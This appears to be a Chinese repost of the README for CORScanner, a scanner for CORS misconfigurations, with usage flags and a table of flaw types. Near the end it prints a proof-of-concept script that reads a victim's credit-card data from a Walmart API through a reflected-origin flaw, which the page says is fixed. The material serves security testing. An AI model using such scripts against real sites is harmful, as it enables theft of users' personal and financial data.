CORScanner——多线程扫描器识别 CORS 缺陷/错误配置

CORScanner——多线程扫描器识别 CORS 缺陷/错误配置

关于 CORScanner

CORScanner 是一款用于发现网站 CORS 配置错误漏洞的 Python 工具。它可以帮助网站管理员和渗透测试人员检查他们所针对的域/URL 是否具有不安全的 CORS 策略。

特征

  • 快速。它使用gevent而不是 Python 线程进行并发,这对于网络扫描来说速度更快。
  • 全面。它涵盖了我们所知道的所有常见 CORS 错误配置类型
  • 灵活。支持各种自定义功能(如文件输出),有利于大规模扫描。
  • 🆕 CORScanner 支持通过 pip (pip install corscannerpip install cors)安装
  • 🆕 CORScanner 可以作为项目中的库使用。

两个有助于系统理解 CORS 的参考资料:

如果您进行科学研究,请考虑引用我们的论文(单击我)。





截图

CORScanner

安装

  • 下载此工具
git clone https://github.com/chenjj/CORScanner.git
  • 安装依赖项
sudo pip install -r requirements.txt

CORScanner 依赖于requestsgeventtldextractcoloramapythonargparse模块。

Python 版本:

  • 同时支持Python 2 ( 2.7.x ) 和 Python 3 ( 3.7.x )。

CORScanner 作为库

  • 通过 pip 安装 CORScanner
sudo pip install corscanner

或使用简称:

sudo pip install cors
  • 示例代码:
>>> from CORScanner.cors_scan import cors_check
>>> ret = cors_check("https://www.instagram.com", None)
>>> ret
{'url': 'https://www.instagram.com', 'type': 'reflect_origin', 'credentials': 'false', 'origin': 'https://evil.com', 'status_code': 200}

您还可以通过corscannercors命令使用 CORScanner:cors -vu https://www.instagram.com

用法

短格式长格式描述
-u–url用于检查其 CORS 政策的 URL/域名
-d–标题向请求添加标头
-我– 输入URL/域列表文件来检查其 CORS 策略
-t–线程用于 CORS 扫描的线程数
-o– 输出将结果保存到json文件
-v–详细启用详细模式并实时显示结果
-T– 暂停设置请求超时(默认 10 秒)
-p– 代理人启用代理(http 或 socks5)
-h– 帮助显示帮助信息并退出

示例

  • 要检查特定域的 CORS 配置错误:

python cors_scan.py -u example.com

  • 要启用更多调试信息,请使用 -v:

python cors_scan.py -u example.com -v

  • 要将扫描结果保存到 JSON 文件,请使用 -o:

python cors_scan.py -u example.com -o output_filename

  • 要检查特定 URL 的 CORS 配置错误:

python cors_scan.py -u http://example.com/restapi

  • 要使用特定标头检查 CORS 配置错误:

python cors_scan.py -u example.com -d "Cookie: test"

  • 要检查多个域/URL 的 CORS 配置错误:

python cors_scan.py -i top_100_domains.txt -t 100

  • 要为 CORScanner 启用代理,请使用 -p

python cors_scan.py -u example.com -p http://127.0.0.1:8080

要使用 socks5 代理,请使用以下方式安装 PySockspip install PySocks

python cors_scan.py -u example.com -p socks5://127.0.0.1:8080

  • 要列出所有基本选项和开关,请使用 -h 开关:

python cors_scan.py -h

错误配置类型

此工具涵盖以下错误配置类型:

配置错误类型描述
Reflect_any_origin在响应中盲目地反映 Origin 标头值Access-Control-Allow-Origin headers,这意味着任何网站都可以通过发送跨源请求来读取其秘密。
前缀匹配wwww.example.comtrusts example.com.evil.com,这是攻击者的域。
后缀_匹配wwww.example.com信任evilexample.com,这可能会被攻击者注册。
非转义点wwww.example.com信任wwwaexample.com,这可能会被攻击者注册。
子字符串匹配wwww.example.com信任example.co,这可能会被攻击者注册。
Trust_nullwwww.example.com信任null,可以通过 iframe 沙盒脚本伪造
HTTPS_信任_HTTP存在风险的信任依赖,MITM 攻击者可能会窃取 HTTPS 站点机密
Trust_any_subdomain存在风险的信任依赖,子域 XSS 可能会窃取其机密
Custom_third_partys(自定义第三方)自定义不安全的第三方来源,如github.io,请参阅origins.json文件中的更多内容。谢谢@phackt
特殊字符绕过利用浏览器对特殊字符的处理。大多数只能在 Safari 中使用,但 除外_, 它也可以在 Chrome 和 Firefox 中使用。请参阅高级 CORS 利用技术了解更多信息。感谢@Malayke

欢迎大家多多贡献。

漏洞利用示例

以下是关于如何利用 Walmart.com 上的“Reflect_any_origin”错误配置的示例(已修复)。Localhost 是视频中的恶意网站。

Youtube 上的 Walmart.com 视频:

Walmart_CORS_misconfiguration_exploitation

以下是漏洞利用代码:

<script>
    // Send a cross origin request to the walmart.com server, when a victim visits the page.
    var req = new XMLHttpRequest();
    req.open('GET',"https://www.walmart.com/account/electrode/account/api/customer/:CID/credit-card",true);
    req.onload = stealData;
    req.withCredentials = true;
    req.send();

    function stealData(){
        //reading response is allowed because of the CORS misconfiguration.
        var data= JSON.stringify(JSON.parse(this.responseText),null,2);

        //display the data on the page. A real attacker can send the data to his server.
        output(data);
    }

    function output(inp) {
        document.body.appendChild(document.createElement('pre')).innerHTML = inp;
    }
</script>

如果您已经了解了演示的工作原理,您可以阅读CORS 论文的第 5 节和第 6 节,了解如何利用其他错误配置。

国内下载链接

© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享